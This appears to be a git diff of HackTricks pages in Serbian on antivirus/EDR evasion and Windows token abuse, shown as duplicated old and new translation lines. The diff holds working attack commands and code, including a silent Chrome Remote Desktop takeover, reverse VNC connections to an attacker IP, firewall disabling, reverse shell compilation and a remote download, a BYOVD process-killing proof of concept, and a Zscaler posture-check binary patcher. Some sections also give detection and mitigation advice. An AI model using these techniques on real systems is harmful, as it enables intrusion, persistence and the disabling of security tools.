4. Izvršite dati parametar sa nekim podešavanjima: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Napomena: pin param omogućava postavljanje pina bez upotrebe GUI-a).
Kao što je opisano u [**this blog post**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), lako je samo deploy-ovati Chrome Remote Desktop na žrtvin PC i onda ga koristiti za takeover i održavanje persistence:
1. Preuzmite sa https://remotedesktop.google.com/, kliknite na "Set up via SSH", zatim kliknite na MSI fajl za Windows da preuzmete MSI.
2. Pokrenite installer silently na žrtvi (potrebna administratorska prava): `msiexec /i chromeremotedesktophost.msi /qn`
3. Vratite se na stranicu Chrome Remote Desktop i kliknite next. Wizard će zatim tražiti da autorizujete; kliknite Authorize da nastavite.
4. Pokrenite dati parametar sa nekim prilagođavanjima: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Napomena: parametar pin omogućava postavljanje pina bez korišćenja GUI-ja).
## Advanced Evasion
Evasion je veoma komplikovana tema, ponekad morate uzeti u obzir mnogo različitih izvora telemetrije u samo jednom sistemu, tako da je praktično nemoguće ostati potpuno neotkriven u zrelim okruženjima.
Svako okruženje protiv kojeg radite ima svoje snage i slabosti.
Svako okruženje protiv kojeg idete imaće svoje snage i slabosti.
Toplo vam preporučujem da pogledate ovaj talk od [@ATTL4S](https://twitter.com/DaniLJ94), da dobijete uvod u naprednije tehnike evasion-a.
Toplo vam preporučujem da pogledate ovaj talk od [@ATTL4S](https://twitter.com/DaniLJ94), da steknete uvid u više Advanced Evasion tehnika.
{{#ref}}
https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo
{{#endref}}
Ovo je takođe još jedan odličan talk od [@mariuszbit](https://twitter.com/mariuszbit) o Evasion in Depth.
Ovo je takođe odličan talk od [@mariuszbit](https://twitter.com/mariuszbit) o Evasion in Depth.
{{#ref}}
@ -475,47 +471,47 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
## **Stare tehnike**
### **Proverite koje delove Defender označava kao zlonamerne**
### **Proverite koje delove Defender nalazi kao zlonamerne**
Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **uklanjati delove binarnog fajla** dok ne **otkrije koji deo Defender** smatra zlonamernim i podeli vam ga.\
Drugi alat koji radi **isto** je [**avred**](https://github.com/dobin/avred) sa web servisom na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Možete koristiti [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) koji će **uklanjati delove binarnog fajla** dok **ne utvrdi koji deo Defender** smatra zlonamernim i podeli vam to.\
Još jedan alat koji radi **isto je** [**avred**](https://github.com/dobin/avred) sa javnom web uslugom dostupnom na [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server**
Do Windows10, svi Windows sistemi su dolazili sa **Telnet serverom** koji ste mogli instalirati (kao administrator) radeći:
Do Windows10, svi Windows su dolazili sa **Telnet server-om** koji ste mogli instalirati (kao administrator) radeći:
```bash
pkgmgr /iu:"TelnetServer" /quiet
```
Neka se **pokrene** prilikom podizanja sistema i **pokreni** ga sada:
Neka se **pokrene** pri pokretanju sistema i **pokreni** ga sada:
```bash
sc config TlntSVR start= auto obj= localsystem
```
**Promeni telnet port** (stealth) i onemogući firewall:
**Promenite telnet port** (stealth) i onemogućite firewall:
```
tlntadmn config port=80
netsh advfirewall set allprofiles state off
```
### UltraVNC
Download it from: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (trebate bin verzije, ne setup)
Preuzmite sa: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (you want the bin downloads, not the setup)
**ON THE HOST**: Pokrenite _**winvnc.exe**_ i konfigurišite server:
- Enable the option _Disable TrayIcon_
- Omogućite opciju _Disable TrayIcon_
- Postavite lozinku u _VNC Password_
- Postavite lozinku u _View-Only Password_
Zatim, premestite binarni fajl _**winvnc.exe**_ i **novokreirani** fajl _**UltraVNC.ini**_ na **victim**
Zatim premestite binar _**winvnc.exe**_ i **novo** kreirani fajl _**UltraVNC.ini**_ na **victim**
#### **Reverse connection**
The **attacker** should **execute inside** his **host** the binary `vncviewer.exe -listen 5900` so it will be **prepared** to catch a reverse **VNC connection**. Then, inside the **victim**: Start the winvnc daemon `winvnc.exe -run` and run `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
The **attacker** treba da **pokrene unutar** svog **host** binar `vncviewer.exe -listen 5900` tako da bude **pripremljen** da uhvati reverse **VNC connection**. Zatim, unutar **victim**: Pokrenite winvnc daemon `winvnc.exe -run` i izvršite `winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900`
**UPOZORENJE:** Da biste ostali neopaženi, ne smete uraditi nekoliko stvari
**WARNING:** Da biste ostali neprimećeni ne smete da uradite nekoliko stvari
- Nemojte pokretati `winvnc` ako već radi ili ćete pokrenuti a [popup](https://i.imgur.com/1SROTTl.png). Proverite da li radi sa `tasklist | findstr winvnc`
- Nemojte pokretati `winvnc` bez `UltraVNC.ini` u istom direktorijumu ili će se otvoriti [the config window](https://i.imgur.com/rfMQWcf.png)
- Nemojte pokretati `winvnc -h` za pomoć ili ćete izazvati a [popup](https://i.imgur.com/oc18wcu.png)
- Ne pokrećite `winvnc` ako već radi ili ćete pokrenuti [popup](https://i.imgur.com/1SROTTl.png). Proverite da li radi sa `tasklist | findstr winvnc`
- Ne pokrećite `winvnc` bez `UltraVNC.ini` u istom direktorijumu ili će se otvoriti [the config window](https://i.imgur.com/rfMQWcf.png)
- Ne pokrećite `winvnc -h` za pomoć ili ćete pokrenuti [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT
@ -527,7 +523,7 @@ cd GreatSCT/setup/
cd ..
./GreatSCT.py
```
Unutar GreatSCT:
Unutar GreatSCT-a:
```
use 1
list #Listing available payloads
@ -541,15 +537,15 @@ Sada **pokrenite lister** sa `msfconsole -r file.rc` i **izvršite** **xml paylo
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
```
**Trenutni Defender će vrlo brzo prekinuti proces.**
**Trenutni Defender će veoma brzo prekinuti proces.**
### Kompajliranje sopstvenog reverse shell-a
### Kompajliranje našeg vlastitog reverse shell-a
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
#### Prvi C# Revershell
Kompajlirajte ga pomoću:
Kompajlirajte ga sa:
```
c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
```
@ -630,7 +626,7 @@ catch (Exception err) { }
}
}
```
### C# using kompajler
### C# korišćenje kompajlera
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
```
@ -650,7 +646,7 @@ powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.g
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
{{#endref}}
Lista obfuscatora za C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
Lista obfuskatora za C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
### C++
```
@ -665,7 +661,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
### Primer korišćenja python-a za izradu injectora:
### Korišćenje Pythona za primer izrade injektora:
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
@ -700,24 +696,24 @@ https://github.com/praetorian-code/vulcan
## Bring Your Own Vulnerable Driver (BYOVD) – Onemogućavanje AV/EDR iz kernel prostora
Storm-2603 je iskoristio mali konzolni alat poznat kao **Antivirus Terminator** da onemogući endpoint zaštite pre nego što pusti ransomware. Alat donosi svoj **vulnerable ali *potpisani* drajver** i zloupotrebljava ga da izvede privilegovane kernel operacije koje čak ni Protected-Process-Light (PPL) AV servisi ne mogu blokirati.
Storm-2603 je iskoristio mali konzolni alat poznat kao **Antivirus Terminator** da onemogući zaštitu krajnjih tačaka pre nego što pusti ransomware. Alat donosi svoj **ranjivi ali *potpisani* driver** i zloupotrebljava ga za izvršavanje privilegovanih kernel operacija koje čak ni Protected-Process-Light (PPL) AV servisi ne mogu blokirati.
Ključne napomene
1. **Signed driver**: Fajl isporučen na disk je `ServiceMouse.sys`, ali binarni fajl je legitimno potpisani drajver `AToolsKrnl64.sys` iz Antiy Labs’ “System In-Depth Analysis Toolkit”. Pošto drajver nosi validan Microsoft potpis, on se učitava čak i kada je Driver-Signature-Enforcement (DSE) omogućen.
Ključni zaključci
1. **Signed driver**: Fajl isporučen na disk je `ServiceMouse.sys`, ali binarni fajl je legitimno potpisani driver `AToolsKrnl64.sys` iz Antiy Labs’ “System In-Depth Analysis Toolkit”. Pošto driver nosi validan Microsoft potpis, učitava se čak i kada je Driver-Signature-Enforcement (DSE) omogućen.
2. **Service installation**:
```powershell
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
sc start ServiceMouse
```
Prva linija registruje drajver kao **kernel servis** i druga ga pokreće tako da `\\.\ServiceMouse` postaje dostupan iz korisničkog prostora.
3. **IOCTL-ovi koje drajver izlaže**
| IOCTL code | Capability |
Prvi red registruje driver kao **kernel servis**, a drugi ga startuje tako da `\\.\ServiceMouse` postane dostupan iz user land.
3. **IOCTLs exposed by the driver**
| IOCTL code | Mogućnost |
|-----------:|-----------------------------------------|
| `0x99000050` | Terminira proizvoljni proces po PID-u (koristi se za ubijanje Defender/EDR servisa) |
| `0x99000050` | Terminira proizvoljan proces po PID-u (koristi se za gašenje Defender/EDR servisa) |
| `0x990000D0` | Briše proizvoljan fajl na disku |
| `0x990001D0` | Otpusti drajver i ukloni servis |
| `0x990001D0` | Uklanja driver i briše servis |
Minimalni C proof-of-concept:
Minimal C proof-of-concept:
```c
#include <windows.h>
@ -729,30 +725,30 @@ CloseHandle(hDrv);
return 0;
}
```
4. **Zašto funkcioniše**: BYOVD potpuno zaobilazi zaštite u user-mode-u; kod koji se izvršava u kernelu može otvoriti *protected* procese, terminirati ih ili manipulisati kernel objektima bez obzira na PPL/PP, ELAM ili druge mehanizme ojačanja.
4. **Zašto radi**: BYOVD u potpunosti zaobilazi zaštite u user-mode; kod koji se izvršava u kernelu može otvoriti *protected* procese, terminirati ih ili menjati kernel objekte bez obzira na PPL/PP, ELAM ili druge mehanizme hardening-a.
Detekcija / ublažavanje
• Omogućite Microsoft-ovu listu blokiranih ranjivih drajvera (`HVCI`, `Smart App Control`) tako da Windows odbije da učita `AToolsKrnl64.sys`.
• Pratite kreiranja novih *kernel* servisa i alarmirajte kada se drajver učita iz direktorijuma koji je world-writable (dozvoljava pisanje od strane svih) ili nije na allow-listi.
• Pratite user-mode handle-ove ka custom device objektima koji su praćeni sumnjivim `DeviceIoControl` pozivima.
Detection / Mitigation
• Omogućite Microsoft-ovu listu blokiranih ranjivih drajvera (`HVCI`, `Smart App Control`) kako bi Windows odbio da učita `AToolsKrnl64.sys`.
• Pratite kreiranje novih *kernel* servisa i alarmirajte kada se driver učitava iz world-writable direktorijuma ili nije na allow-listi.
• Pazite na user-mode handle-ove ka custom device objektima praćene sumnjivim `DeviceIoControl` pozivima.
### Zaobilaženje Zscaler Client Connector provera posture-a putem patch-ovanja binarnih fajlova na disku
### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
Zscaler-ov **Client Connector** primenjuje pravila device-posture lokalno i oslanja se na Windows RPC da prenese rezultate drugim komponentama. Dva slaba dizajnerska izbora omogućavaju potpuni bypass:
Zscaler’s **Client Connector** primenjuje device-posture pravila lokalno i oslanja se na Windows RPC da prenese rezultate drugim komponentama. Dva slaba dizajnerska izbora omogućavaju potpuni bypass:
1. Evaluacija posture se odvija **kompletno na klijentu** (serveru se šalje boolean).
2. Interni RPC endpointi samo verifikuju da je povezani executable **potpisan od Zscalera** (putem `WinVerifyTrust`).
1. Evaluacija posture-a se dešava **u potpunosti na klijentu** (serveru se šalje samo boolean).
2. Interni RPC endpoint-i proveravaju samo da je povezani izvršni fajl **potpisan od strane Zscaler** (putem `WinVerifyTrust`).
Patch-ovanjem četiri potpisana binarna fajla na disku obe mehanizme mogu biti neutralisane:
Patchovanjem **četiri potpisana binarna fajla na disku** oba mehanizma mogu biti neutralisana:
| Binarni fajl | Izmenjena originalna logika | Rezultat |
|--------------|-----------------------------|----------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Uvek vraća `1` tako da je svaka provera u skladu |
| `ZSAService.exe` | Indirektan poziv na `WinVerifyTrust` | NOP-ovano ⇒ bilo koji (čak i nepotpisani) proces može da se poveže na RPC pipe-ove |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Zamenjeno sa `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Skraćeno / bypass-ovano |
| Binary | Original logic patched | Result |
|--------|------------------------|---------|
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Uvek vraća `1`, pa je svaka provera uspela |
| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ bilo koji (čak i nepotpisan) proces može da se priključi RPC pipe-ovima |
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Zamenjena sa `mov eax,1 ; ret` |
| `ZSATunnel.exe` | Integrity checks on the tunnel | Prekinuto |
Minimalni izvod patchera:
Minimal patcher excerpt:
```python
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
@ -766,22 +762,22 @@ else:
f.seek(off)
f.write(replacement)
```
Nakon zamene originalnih fajlova i ponovnog pokretanja servisnog steka:
After replacing the original files and restarting the service stack:
* **All** posture checks prikazuju **green/compliant**.
* Nepotpisani ili izmenjeni binarni fajlovi mogu da otvore named-pipe RPC endpoints (npr. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Kompromitovani host dobija neograničen pristup internoj mreži definisanoj Zscaler policies.
* **Svi** posture checks prikazuju **green/compliant**.
* Nepotpisani ili izmenjeni binarni fajlovi mogu otvoriti named-pipe RPC endpoints (npr. `\\RPC Control\\ZSATrayManager_talk_to_me`).
* Kompromitovani host dobija neograničen pristup internal network definisanoj Zscaler politikama.
Ova studija slučaja pokazuje kako čisto klijentske odluke zasnovane na poverenju i jednostavne provere potpisa mogu biti poražene sa par bajt izmena.
Ova studija slučaja pokazuje kako odluke o poverenju koje se donose isključivo na strani klijenta i jednostavne provere potpisa mogu biti zaobiđene sa nekoliko izmena bajtova.
## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
Protected Process Light (PPL) nameće hijerarhiju potpisnika/nivoa tako da samo equal-or-higher protected processes mogu da remete jedni druge. Ofanzivno, ako možete legitimno pokrenuti PPL-enabled binary i kontrolisati njegove argumente, možete pretvoriti benignu funkcionalnost (npr. logging) u ograničeni, PPL-podržan write primitive protiv zaštićenih direktorijuma koje koriste AV/EDR.
Protected Process Light (PPL) nameće signer/level hijerarhiju tako da samo zaštićeni procesi sa jednakim ili višim nivoom mogu da menjaju jedni druge. Ofanzivno, ako legitimno možete pokrenuti PPL-enabled binarni fajl i kontrolisati njegove argumente, možete pretvoriti benignu funkcionalnost (npr. logging) u ograničeni, PPL-pokriven write primitive prema zaštićenim direktorijumima koje koriste AV/EDR.
What makes a process run as PPL
- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
Šta je potrebno da proces radi kao PPL
- Ciljani EXE (i svi učitani DLL-ovi) moraju biti potpisani sa PPL-capable EKU.
- Proces mora biti kreiran pomoću CreateProcess koristeći flagove: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
- Potreban je zahtev za kompatibilnim protection level-om koji odgovara potpisniku binarnog fajla (npr. `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` za anti-malware potpisnike, `PROTECTION_LEVEL_WINDOWS` za Windows potpisnike). Pogrešni nivoi će dovesti do greške pri kreiranju.
See also a broader intro to PP/PPL and LSASS protection here:
@ -801,41 +797,41 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN primitiv: ClipUp.exe
- The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path.
- When launched as a PPL process, the file write occurs with PPL backing.
- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
- Potpisani sistemski binarni fajl `C:\Windows\System32\ClipUp.exe` sam se pokreće i prihvata parametar za zapisivanje log fajla na putanju koju navede pozivač.
- Kada se pokrene kao PPL proces, upis fajla se izvršava uz PPL podršku.
- ClipUp ne može da parsira putanje sa razmacima; koristite 8.3 kratke putanje da ciljate uobičajeno zaštićene lokacije.
8.3 short path helpers
- List short names: `dir /x` in each parent directory.
- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
8.3 pomoćnici za kratke putanje
- Navedite kratke nazive: `dir /x` u svakom roditeljskom direktorijumu.
- Dobijte 8.3 kratku putanju u cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Abuse chain (abstract)
1) Pokrenite PPL-sposoban LOLBIN (ClipUp) sa `CREATE_PROTECTED_PROCESS` koristeći launcher (npr. CreateProcessAsPPL).
2) Prosledite ClipUp log-path argument da biste prisilili kreiranje fajla u zaštićenom AV direktorijumu (npr. Defender Platform). Koristite 8.3 kratka imena ako je potrebno.
3) Ako je cilj-binar obično otvoren/zaključan od strane AV dok radi (npr. MsMpEng.exe), zakažite upis pri bootu pre nego što AV startuje tako što instalirate servis za automatsko pokretanje koji se pouzdano izvršava ranije. Potvrdite redosled bootovanja pomoću Process Monitor (boot logging).
4) Na rebootu, upis sa PPL podrškom se događa pre nego što AV zaključa svoje binare, korumpirajući ciljani fajl i sprečavajući njegovo pokretanje.
1) Pokrenite LOLBIN koji podržava PPL (ClipUp) koristeći `CREATE_PROTECTED_PROCESS` i launcher (npr. CreateProcessAsPPL).
2) Prosledite ClipUp argument za log-putanju da biste forsirali kreiranje fajla u zaštićenom AV direktorijumu (npr. Defender Platform). Koristite 8.3 kratke nazive ako je potrebno.
3) Ako je ciljni binarni fajl obično otvoren/zaključan od strane AV dok radi (npr. MsMpEng.exe), rasporedite upis pri boot-u pre nego što AV startuje instaliranjem auto-start servisa koji se pouzdano izvršava ranije. Validirajte redosled boota koristeći Process Monitor (boot logging).
4) Na reboot-u, upis sa PPL podrškom se događa pre nego što AV zaključa svoje binarne fajlove, korumpirajući ciljni fajl i onemogućavajući pokretanje.
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Napomene i ograničenja
- Ne možete kontrolisati sadržaj koji ClipUp upisuje osim lokacije; primitiv je prikladan za korupciju više nego za preciznu injekciju sadržaja.
- Zahteva local admin/SYSTEM privilegije da se servis instalira/pokrene i prozor za restart.
- Vreme je kritično: cilj ne sme biti otvoren; izvršenje pri podizanju sistema izbegava zaključavanje fajlova.
Beleške i ograničenja
- Ne možete kontrolisati sadržaj koji ClipUp zapisuje izuzev pozicije; primitiv je pogodniji za korupciju nego za precizno injektovanje sadržaja.
- Zahteva privilegije lokalnog admina/SYSTEM za instalaciju/pokretanje servisa i prozor za restart.
- Vreme je kritično: cilj ne sme biti otvoren; izvršavanje pri pokretanju sistema izbegava zaključavanja fajlova.
Detekcije
- Kreiranje procesa `ClipUp.exe` sa neobičnim argumentima, posebno ako je roditelj ne-standardni launcher, u periodu podizanja sistema.
- Novi servisi konfigurisan da automatski pokreću sumnjive binarne fajlove i koji se dosledno pokreću pre Defender/AV. Istražite kreiranje/izmenu servisa pre grešaka pri pokretanju Defender-a.
- Monitoring integriteta fajlova na Defender binarnim/Platform direktorijumima; neočekivano kreiranje/izmena fajlova od procesa sa protected-process zastavicama.
- ETW/EDR telemetrija: tražite procese kreirane sa `CREATE_PROTECTED_PROCESS` i anomalnu upotrebu PPL nivoa od strane ne-AV binarnih fajlova.
- Kreiranje procesa `ClipUp.exe` sa neobičnim argumentima, naročito ako je parentovan od strane nestandardnih launchera, oko pokretanja sistema.
- Novi servisi konfigurisani da automatski pokreću sumnjive binarije i koji se konzistentno pokreću pre Defender/AV. Istražite kreiranje/izmenu servisa pre neuspeha pri pokretanju Defender-a.
- Monitoring integriteta fajlova na Defender binarijama/Platform direktorijumima; neočekivana kreiranja/izmene fajlova od strane procesa sa protected-process zastavicama.
- ETW/EDR telemetrija: tražite procese kreirane sa `CREATE_PROTECTED_PROCESS` i anomalno korišćenje nivoa PPL od strane non-AV binarija.
Mitigacije
- WDAC/Code Integrity: ograničite koje potpisane binarke mogu da se pokreću kao PPL i pod kojim roditeljima; blokirajte ClipUp pozivanje van legitimnih konteksta.
- Higijena servisa: ograničite kreiranje/izmenu auto-start servisa i pratite manipulacije redosledom pokretanja.
- Osigurajte da su Defender tamper protection i early-launch protections omogućeni; istražite greške pri startu koje ukazuju na korupciju binarnog fajla.
- Razmotrite onemogućavanje 8.3 short-name generisanja na volumima koji hostuju security tooling ako je kompatibilno sa vašim okruženjem (temeljno testirajte).
- WDAC/Code Integrity: ograničite koji potpisani binariji mogu da rade kao PPL i pod kojim parentima; blokirajte pozivanje ClipUp van legitimnih konteksta.
- Higijena servisa: ograničite kreiranje/izmenu auto-start servisa i nadgledajte manipulacije redosledom pokretanja.
- Osigurajte da su Defender tamper protection i early-launch protections uključeni; istražite greške pri startovanju koje ukazuju na korupciju binarija.
- Razmotrite onemogućavanje 8.3 short-name generation na volumenima koji hostuju security tooling ako je kompatibilno sa vašim okruženjem (pažljivo testirajte).
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
@ -844,7 +840,7 @@ References for PPL and tooling
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## Reference
## References
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)

180
src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md
View File

@ -1,180 +0,0 @@
# Abusing Tokens
{{#include ../../../banners/hacktricks-training.md}}
## Tokens
Ako **ne znate šta su Windows Access Tokens**, pročitajte ovu stranicu pre nego što nastavite:
{{#ref}}
../access-tokens.md
{{#endref}}
**Možda biste mogli da eskalirate privilegije zloupotrebom tokena koje već imate**
### SeImpersonatePrivilege
Ovo je privilegija koju drži bilo koji proces i omogućava impersonaciju (ali ne i kreiranje) bilo kog tokena, pod uslovom da se može dobiti rukohvat za njega. Privilegovan token može se dobiti iz Windows servisa (DCOM) izazivanjem da izvrši NTLM autentifikaciju protiv exploita, čime se omogućava izvršavanje procesa sa SYSTEM privilegijama. Ova ranjivost može se iskoristiti korišćenjem raznih alata, kao što su [juicy-potato](https://github.com/ohpe/juicy-potato), [RogueWinRM](https://github.com/antonioCoco/RogueWinRM) (koji zahteva da winrm bude onemogućen), [SweetPotato](https://github.com/CCob/SweetPotato), [EfsPotato](https://github.com/zcgonvh/EfsPotato), [DCOMPotato](https://github.com/zcgonvh/DCOMPotato) i [PrintSpoofer](https://github.com/itm4n/PrintSpoofer).
{{#ref}}
../roguepotato-and-printspoofer.md
{{#endref}}
{{#ref}}
../juicypotato.md
{{#endref}}
### SeAssignPrimaryPrivilege
Veoma je slična **SeImpersonatePrivilege**, koristi **istu metodu** za dobijanje privilegovanog tokena.\
Ova privilegija omogućava **dodeljivanje primarnog tokena** novom/obustavljenom procesu. Sa privilegovanim impersonacionim tokenom možete derivirati primarni token (DuplicateTokenEx).\
Sa tokenom, možete kreirati **novi proces** koristeći 'CreateProcessAsUser' ili kreirati proces u obustavljenom stanju i **postaviti token** (generalno, ne možete modifikovati primarni token pokrenutog procesa).
### SeTcbPrivilege
Ako ste omogućili ovaj token, možete koristiti **KERB_S4U_LOGON** da dobijete **impersonacioni token** za bilo kog drugog korisnika bez poznavanja kredencijala, **dodati proizvoljnu grupu** (administratore) u token, postaviti **nivo integriteta** tokena na "**srednji**", i dodeliti ovaj token **trenutnoj niti** (SetThreadToken).
### SeBackupPrivilege
Sistem je prinuđen da **dodeli sve pristupne** kontrole za čitanje bilo kog fajla (ograničeno na operacije čitanja) ovom privilegijom. Koristi se za **čitanje hešova lozinki lokalnih Administrator** naloga iz registra, nakon čega se alati poput "**psexec**" ili "**wmiexec**" mogu koristiti sa hešom (Pass-the-Hash tehnika). Međutim, ova tehnika ne uspeva pod dva uslova: kada je lokalni Administrator nalog onemogućen, ili kada je politika na snazi koja uklanja administrativna prava lokalnim administratorima koji se povezuju na daljinu.\
Možete **zloupotrebiti ovu privilegiju** sa:
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
- prateći **IppSec** na [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
- Ili kako je objašnjeno u sekciji **eskalacija privilegija sa Backup Operatorima**:
{{#ref}}
../../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### SeRestorePrivilege
Ova privilegija omogućava **pristup za pisanje** bilo kojoj sistemskoj datoteci, bez obzira na Access Control List (ACL) datoteke. Otvara brojne mogućnosti za eskalaciju, uključujući mogućnost **modifikacije servisa**, izvođenje DLL Hijacking-a i postavljanje **debuggera** putem Image File Execution Options među raznim drugim tehnikama.
### SeCreateTokenPrivilege
SeCreateTokenPrivilege je moćna privilegija, posebno korisna kada korisnik ima sposobnost da impersonira tokene, ali i u odsustvu SeImpersonatePrivilege. Ova sposobnost zavisi od mogućnosti da se impersonira token koji predstavlja istog korisnika i čiji nivo integriteta ne prelazi nivo trenutnog procesa.
**Ključne tačke:**
- **Impersonacija bez SeImpersonatePrivilege:** Moguće je iskoristiti SeCreateTokenPrivilege za EoP impersoniranjem tokena pod specifičnim uslovima.
- **Uslovi za impersonaciju tokena:** Uspešna impersonacija zahteva da ciljni token pripada istom korisniku i da ima nivo integriteta koji je manji ili jednak nivou integriteta procesa koji pokušava impersonaciju.
- **Kreiranje i modifikacija impersonacionih tokena:** Korisnici mogu kreirati impersonacioni token i poboljšati ga dodavanjem SID-a privilegovane grupe (Security Identifier).
### SeLoadDriverPrivilege
Ova privilegija omogućava **učitavanje i uklanjanje drajvera** uređaja kreiranjem unosa u registru sa specifičnim vrednostima za `ImagePath` i `Type`. Pošto je direktan pristup za pisanje u `HKLM` (HKEY_LOCAL_MACHINE) ograničen, umesto toga mora se koristiti `HKCU` (HKEY_CURRENT_USER). Međutim, da bi `HKCU` bio prepoznat od strane jezgra za konfiguraciju drajvera, mora se pratiti specifičan put.
Ovaj put je `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`, gde je `<RID>` Relativni Identifikator trenutnog korisnika. Unutar `HKCU`, ceo ovaj put mora biti kreiran, a dve vrednosti treba postaviti:
- `ImagePath`, što je putanja do binarnog fajla koji treba izvršiti
- `Type`, sa vrednošću `SERVICE_KERNEL_DRIVER` (`0x00000001`).
**Koraci koje treba pratiti:**
1. Pristupite `HKCU` umesto `HKLM` zbog ograničenog pristupa za pisanje.
2. Kreirajte put `\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName` unutar `HKCU`, gde `<RID>` predstavlja Relativni Identifikator trenutnog korisnika.
3. Postavite `ImagePath` na putanju izvršenja binarnog fajla.
4. Dodelite `Type` kao `SERVICE_KERNEL_DRIVER` (`0x00000001`).
```python
# Example Python code to set the registry values
